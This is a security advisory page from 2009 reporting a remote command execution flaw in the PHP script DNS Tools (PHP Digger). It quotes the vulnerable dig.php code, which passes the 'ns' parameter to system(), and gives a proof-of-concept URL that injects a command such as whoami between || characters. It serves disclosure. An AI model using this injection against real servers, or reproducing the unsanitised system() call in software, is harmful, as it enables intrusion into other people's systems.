DNS Tools (PHP Digger) Remote Command Execution Vuln

2009.06.08
Credit: SirGod
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

[+] DNS Tools (PHP Digger) Remote Command Execution [+] Discovered By SirGod [+] www.mortal-team.org [+] www.h4cky0u.org [+] Remote Command Execution - Vulnerable code in dig.php ------------------------------------------ $ns = $_GET['ns']; system ("dig @$ns $host $query_type"); ------------------------------------------ We can execute commands via "ns" variable.Just use || before and after the command. PoC : http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging Example : http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top